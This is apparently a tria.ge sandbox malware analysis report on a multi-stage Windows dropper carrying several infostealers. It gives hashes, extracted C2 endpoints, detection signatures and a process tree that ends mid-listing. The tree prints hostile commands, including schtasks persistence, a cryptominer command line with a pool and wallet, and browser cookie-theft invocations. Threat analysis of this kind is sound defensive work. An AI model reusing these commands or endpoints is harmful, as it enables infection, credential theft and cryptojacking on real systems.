Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

918769ECEA...98.exe

windows7_x64

10

918769ECEA...98.exe

windows10_x64

Analysis

  • max time kernel
    75s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    14/08/2021, 00:00

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Remote task has failed: Machine shutdown
Report Analysis Logs

General

  • Target

    918769ECEACD168684DEF1B316FF3198.exe

  • Size

    3.3MB

  • MD5

    918769eceacd168684def1b316ff3198

  • SHA1

    044df161143e5e5c255b4edea7199364703776ed

  • SHA256

    6bc9c4e5a88eaa95550d066ff02f0d45b6bd2a93fbcb72b562c6c65ce06bb900

  • SHA512

    b0f4dc956b8aeee77724d0424d6c5f8c5b7c503e184ef54caf9bb47bd509205e843d91784329327010726e73fc28140d63a7e461b61fe86278caa86fc4530a17

Score
10/10
elysiumstealerraccoonredlinesmokeloadersocelarsvidar70691693d3ccba4a3cbd5e268873fc1760b2335272e198aspackv2backdoordiscoveryevasioninfostealerpersistencespywarestealersuricatatrojanvmprotect

Malware Config

Extracted

Family

vidar

Version

40

Botnet

706

C2

https://lenak513.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

vidar

Version

40

Botnet

916

C2

https://lenak513.tumblr.com/

Attributes
  • profile_id

    916

Extracted

Family

raccoon

Botnet

93d3ccba4a3cbd5e268873fc1760b2335272e198

Attributes
  • url4cnc

    https://telete.in/opa4kiprivatem

rc4.plain
rc4.plain

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/
rc4.i32
rc4.i32

Signatures

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

    stealerelysiumstealer
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • Vidar Stealer 4 IoCs
    stealer
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 51 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 9 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 21 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 8 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:68
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2772
      • C:\Users\Admin\AppData\Local\Temp\918769ECEACD168684DEF1B316FF3198.exe
        "C:\Users\Admin\AppData\Local\Temp\918769ECEACD168684DEF1B316FF3198.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Users\Admin\AppData\Local\Temp\7zS83217D84\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS83217D84\setup_install.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1916
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c 6eee9f336da6fcf1.exe
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3592
            • C:\Users\Admin\AppData\Local\Temp\7zS83217D84\6eee9f336da6fcf1.exe
              6eee9f336da6fcf1.exe
              4⤵
                PID:3852
                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:184
                  • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                    6⤵
                    • Executes dropped EXE
                    PID:4412
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                      7⤵
                        PID:4772
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                          8⤵
                          • Creates scheduled task(s)
                          PID:4820
                      • C:\Users\Admin\AppData\Roaming\services64.exe
                        "C:\Users\Admin\AppData\Roaming\services64.exe"
                        7⤵
                          PID:1800
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                            8⤵
                              PID:6288
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                9⤵
                                • Executes dropped EXE
                                PID:4216
                              • C:\Windows\system32\schtasks.exe
                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                9⤵
                                • Creates scheduled task(s)
                                PID:6308
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                              8⤵
                                PID:6428
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                8⤵
                                • Executes dropped EXE
                                PID:4688
                          • C:\Users\Admin\AppData\Local\Temp\1.exe
                            "C:\Users\Admin\AppData\Local\Temp\1.exe"
                            6⤵
                              PID:4516
                              • C:\Users\Admin\AppData\Roaming\6638008.exe
                                "C:\Users\Admin\AppData\Roaming\6638008.exe"
                                7⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5408
                              • C:\Users\Admin\AppData\Roaming\6193508.exe
                                "C:\Users\Admin\AppData\Roaming\6193508.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:5436
                              • C:\Users\Admin\AppData\Roaming\8173696.exe
                                "C:\Users\Admin\AppData\Roaming\8173696.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:5508
                              • C:\Users\Admin\AppData\Roaming\2153884.exe
                                "C:\Users\Admin\AppData\Roaming\2153884.exe"
                                7⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5588
                            • C:\Users\Admin\AppData\Local\Temp\2.exe
                              "C:\Users\Admin\AppData\Local\Temp\2.exe"
                              6⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4740
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c taskkill /f /im chrome.exe
                                7⤵
                                  PID:6092
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im chrome.exe
                                    8⤵
                                    • Kills process with taskkill
                                    PID:2252
                              • C:\Users\Admin\AppData\Local\Temp\3.exe
                                "C:\Users\Admin\AppData\Local\Temp\3.exe"
                                6⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4876
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 4876 -s 1528
                                  7⤵
                                  • Program crash
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5640
                              • C:\Users\Admin\AppData\Local\Temp\4.exe
                                "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:5072
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 660
                                  7⤵
                                  • Program crash
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5060
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 692
                                  7⤵
                                  • Program crash
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4280
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 712
                                  7⤵
                                  • Program crash
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5228
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 884
                                  7⤵
                                  • Program crash
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5472
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 888
                                  7⤵
                                  • Program crash
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5812
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 868
                                  7⤵
                                  • Program crash
                                  PID:6024
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 1032
                                  7⤵
                                  • Program crash
                                  PID:5776
                              • C:\Users\Admin\AppData\Local\Temp\5.exe
                                "C:\Users\Admin\AppData\Local\Temp\5.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:4308
                                • C:\Users\Admin\AppData\Local\Temp\5.exe
                                  "C:\Users\Admin\AppData\Local\Temp\5.exe" -a
                                  7⤵
                                    PID:4612
                                • C:\Users\Admin\AppData\Local\Temp\6.exe
                                  "C:\Users\Admin\AppData\Local\Temp\6.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:5124
                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                    7⤵
                                      PID:6468
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      7⤵
                                        PID:6816
                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        7⤵
                                          PID:6376
                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          7⤵
                                            PID:4912
                                        • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                          "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5308
                                        • C:\Users\Admin\AppData\Local\Temp\7.exe
                                          "C:\Users\Admin\AppData\Local\Temp\7.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:5848
                                          • C:\Users\Admin\AppData\Local\Temp\tmpB806_tmp.exe
                                            "C:\Users\Admin\AppData\Local\Temp\tmpB806_tmp.exe"
                                            7⤵
                                              PID:1768
                                              • C:\Windows\SysWOW64\dllhost.exe
                                                "C:\Windows\System32\dllhost.exe"
                                                8⤵
                                                  PID:4532
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c cmd < Sia.tiff
                                                  8⤵
                                                    PID:6700
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd
                                                      9⤵
                                                        PID:4568
                                                        • C:\Windows\SysWOW64\findstr.exe
                                                          findstr /V /R "^pkGGAfikiUHgkUsEdYECSyCYSsHNpFrexxWaHUdYNNqBjTuNBNmlmGvtIHOoIxwBQETRXZXvIGOytwLYlTkcySDOYSJZuidzLnLI$" Sai.tiff
                                                          10⤵
                                                            PID:5844
                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Orlo.exe.com
                                                            Orlo.exe.com S
                                                            10⤵
                                                            • Executes dropped EXE
                                                            PID:5520
                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Orlo.exe.com
                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Orlo.exe.com S
                                                              11⤵
                                                                PID:624
                                                            • C:\Windows\SysWOW64\PING.EXE
                                                              ping localhost -n 30
                                                              10⤵
                                                              • Runs ping.exe
                                                              PID:5184
                                                    • C:\Users\Admin\AppData\Local\Temp\8.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\8.exe"
                                                      6⤵
                                                        PID:4688
                                                        • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                          7⤵
                                                            PID:2960
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c c98f61652.exe
                                                    3⤵
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:2292
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS83217D84\c98f61652.exe
                                                      c98f61652.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Checks SCSI registry key(s)
                                                      PID:3760
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c 01a389215e4.exe
                                                    3⤵
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:1376
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS83217D84\01a389215e4.exe
                                                      01a389215e4.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Checks computer location settings
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:2120
                                                      • C:\Users\Admin\Documents\S7LHxE1xwXobCsEbvjUVSEEa.exe
                                                        "C:\Users\Admin\Documents\S7LHxE1xwXobCsEbvjUVSEEa.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:4304
                                                        • C:\Users\Admin\Documents\S7LHxE1xwXobCsEbvjUVSEEa.exe
                                                          C:\Users\Admin\Documents\S7LHxE1xwXobCsEbvjUVSEEa.exe
                                                          6⤵
                                                          • Executes dropped EXE
                                                          PID:5108
                                                      • C:\Users\Admin\Documents\0WtXq0SGQRXcmkHrfEntAMxB.exe
                                                        "C:\Users\Admin\Documents\0WtXq0SGQRXcmkHrfEntAMxB.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:4292
                                                        • C:\Users\Admin\Documents\0WtXq0SGQRXcmkHrfEntAMxB.exe
                                                          C:\Users\Admin\Documents\0WtXq0SGQRXcmkHrfEntAMxB.exe
                                                          6⤵
                                                          • Executes dropped EXE
                                                          PID:5908
                                                      • C:\Users\Admin\Documents\1Fkt1k0h4BvvxrEM5ybK5YaW.exe
                                                        "C:\Users\Admin\Documents\1Fkt1k0h4BvvxrEM5ybK5YaW.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:3544
                                                        • C:\Users\Admin\AppData\Roaming\5629455.exe
                                                          "C:\Users\Admin\AppData\Roaming\5629455.exe"
                                                          6⤵
                                                            PID:1640
                                                          • C:\Users\Admin\AppData\Roaming\6606654.exe
                                                            "C:\Users\Admin\AppData\Roaming\6606654.exe"
                                                            6⤵
                                                              PID:5084
                                                            • C:\Users\Admin\AppData\Roaming\5018760.exe
                                                              "C:\Users\Admin\AppData\Roaming\5018760.exe"
                                                              6⤵
                                                                PID:3124
                                                              • C:\Users\Admin\AppData\Roaming\2314515.exe
                                                                "C:\Users\Admin\AppData\Roaming\2314515.exe"
                                                                6⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4164
                                                            • C:\Users\Admin\Documents\KZ52pBg4v2ef913eyyd4NrEs.exe
                                                              "C:\Users\Admin\Documents\KZ52pBg4v2ef913eyyd4NrEs.exe"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:4288
                                                            • C:\Users\Admin\Documents\cZCKcmOZoroAd2bPpb7m47rR.exe
                                                              "C:\Users\Admin\Documents\cZCKcmOZoroAd2bPpb7m47rR.exe"
                                                              5⤵
                                                                PID:4216
                                                              • C:\Users\Admin\Documents\SCFMP7j5G12gM6HKo53k4dvN.exe
                                                                "C:\Users\Admin\Documents\SCFMP7j5G12gM6HKo53k4dvN.exe"
                                                                5⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:3512
                                                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                  6⤵
                                                                    PID:7160
                                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                    6⤵
                                                                      PID:4136
                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                      6⤵
                                                                        PID:5684
                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                        6⤵
                                                                          PID:4656
                                                                      • C:\Users\Admin\Documents\6o3YZXD4qbkgghmccd4OXVKQ.exe
                                                                        "C:\Users\Admin\Documents\6o3YZXD4qbkgghmccd4OXVKQ.exe"
                                                                        5⤵
                                                                        • Executes dropped EXE
                                                                        PID:4192
                                                                        • C:\Users\Admin\Documents\6o3YZXD4qbkgghmccd4OXVKQ.exe
                                                                          "{path}"
                                                                          6⤵
                                                                            PID:6404
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                              7⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:6460
                                                                        • C:\Users\Admin\Documents\OGrXWyisR0HC3O0tQbS4TISA.exe
                                                                          "C:\Users\Admin\Documents\OGrXWyisR0HC3O0tQbS4TISA.exe"
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of SetThreadContext
                                                                          PID:844
                                                                          • C:\Users\Admin\Documents\OGrXWyisR0HC3O0tQbS4TISA.exe
                                                                            C:\Users\Admin\Documents\OGrXWyisR0HC3O0tQbS4TISA.exe
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            PID:4024
                                                                        • C:\Users\Admin\Documents\mAVicb90g2fPDu7PSM77DwwE.exe
                                                                          "C:\Users\Admin\Documents\mAVicb90g2fPDu7PSM77DwwE.exe"
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          PID:4904
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 480
                                                                            6⤵
                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                            • Program crash
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1400
                                                                        • C:\Users\Admin\Documents\bQgcfjCgzV1qUGWRkny9tv0U.exe
                                                                          "C:\Users\Admin\Documents\bQgcfjCgzV1qUGWRkny9tv0U.exe"
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5028
                                                                        • C:\Users\Admin\Documents\e5M_FBcGHTQsm9NI27oLfNO8.exe
                                                                          "C:\Users\Admin\Documents\e5M_FBcGHTQsm9NI27oLfNO8.exe"
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of SetThreadContext
                                                                          PID:5104
                                                                          • C:\Users\Admin\Documents\e5M_FBcGHTQsm9NI27oLfNO8.exe
                                                                            "C:\Users\Admin\Documents\e5M_FBcGHTQsm9NI27oLfNO8.exe"
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            • Checks SCSI registry key(s)
                                                                            • Suspicious behavior: MapViewOfSection
                                                                            PID:4932
                                                                        • C:\Users\Admin\Documents\Tslwtf1ySr0zQsi8vTujv_aj.exe
                                                                          "C:\Users\Admin\Documents\Tslwtf1ySr0zQsi8vTujv_aj.exe"
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          PID:4360
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\Tslwtf1ySr0zQsi8vTujv_aj.exe"
                                                                            6⤵
                                                                              PID:4352
                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                timeout /T 10 /NOBREAK
                                                                                7⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:6472
                                                                            • C:\Users\Admin\AppData\Local\Temp\ZEDLY0mt4T.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\ZEDLY0mt4T.exe"
                                                                              6⤵
                                                                                PID:1376
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
                                                                                  7⤵
                                                                                  • Creates scheduled task(s)
                                                                                  PID:4108
                                                                            • C:\Users\Admin\Documents\jZo1MqMM_mousKG9rnpfSdWt.exe
                                                                              "C:\Users\Admin\Documents\jZo1MqMM_mousKG9rnpfSdWt.exe"
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Drops file in Program Files directory
                                                                              PID:3676
                                                                              • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                                                "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                                                6⤵
                                                                                  PID:4620
                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                    7⤵
                                                                                      PID:7048
                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                      7⤵
                                                                                        PID:4964
                                                                                    • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                      "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                      6⤵
                                                                                        PID:1152
                                                                                      • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                                                                        "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                                                                        6⤵
                                                                                          PID:1016
                                                                                          • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                            7⤵
                                                                                              PID:4676
                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                                                                              7⤵
                                                                                                PID:4340
                                                                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                7⤵
                                                                                                  PID:6852
                                                                                                • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                  7⤵
                                                                                                    PID:6424
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                    7⤵
                                                                                                      PID:4864
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                      7⤵
                                                                                                        PID:5552
                                                                                                  • C:\Users\Admin\Documents\0yJ7xeIPV9EWAckNnhc9mzkr.exe
                                                                                                    "C:\Users\Admin\Documents\0yJ7xeIPV9EWAckNnhc9mzkr.exe"
                                                                                                    5⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:5132
                                                                                                  • C:\Users\Admin\Documents\8IbokhVbd6gwM13TwbJhNg8L.exe
                                                                                                    "C:\Users\Admin\Documents\8IbokhVbd6gwM13TwbJhNg8L.exe"
                                                                                                    5⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4520
                                                                                                    • C:\Windows\System32\Conhost.exe
